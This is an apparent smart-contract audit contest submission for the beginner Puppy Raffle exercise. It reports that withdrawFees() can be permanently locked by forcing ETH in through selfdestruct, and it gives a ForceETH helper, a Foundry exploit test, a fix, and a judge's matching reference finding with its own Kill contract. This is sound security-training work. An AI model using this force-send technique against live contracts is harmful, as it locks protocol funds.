Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees() Can Be Permanently Bricked Due to Unsafe Balance Invariant

cryptostellar5

Root + Impact

Description

The withdrawFees() function relies on an unsafe invariant that the contract’s ETH balance must equal totalFees. This assumption is incorrect in the EVM execution model because ETH can be forcibly transferred to a contract without invoking any payable function. If this happens, the withdrawal of protocol fees becomes permanently impossible, resulting in funds being stuck with no recovery mechanism.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
​

The contract assumes

address(this).balance == totalFees

This assumption is invalid because Ethereum does not guarantee that a contract’s ETH balance can only be modified through its own logic.

Risk

Likelihood:

  • Forced ETH transfers are uncommon but trivial to execute

  • Requires no permissions

  • Does not rely on bugs in the target contract

Impact:

  • Fee withdrawal becomes permanently bricked

  • Protocol fees are locked forever

  • No admin or user recovery path exists

  • Contract enters an unrecoverable state

This affects protocol operators, not just users.

Proof of Concept

Force ETH Helper Contract

contract ForceETH {
constructor() payable {}
​
function boom(address target) external {
selfdestruct(payable(target));
}
}

Exploit test

function testWithdrawFeesBricked() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// Winner selected, fees accumulated
puppyRaffle.selectWinner();
​
// Force ETH into the contract
ForceETH force = new ForceETH{value: 3e18}();
force.boom(address(puppyRaffle));
​
// Withdrawal is now permanently bricked
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommended Mitigation

function withdrawFees() external {
uint256 feesToWithdraw = totalFees;
totalFees = 0;
​
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
​

save the totalFees in a variable and then send the equivalent amount to the desired address.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!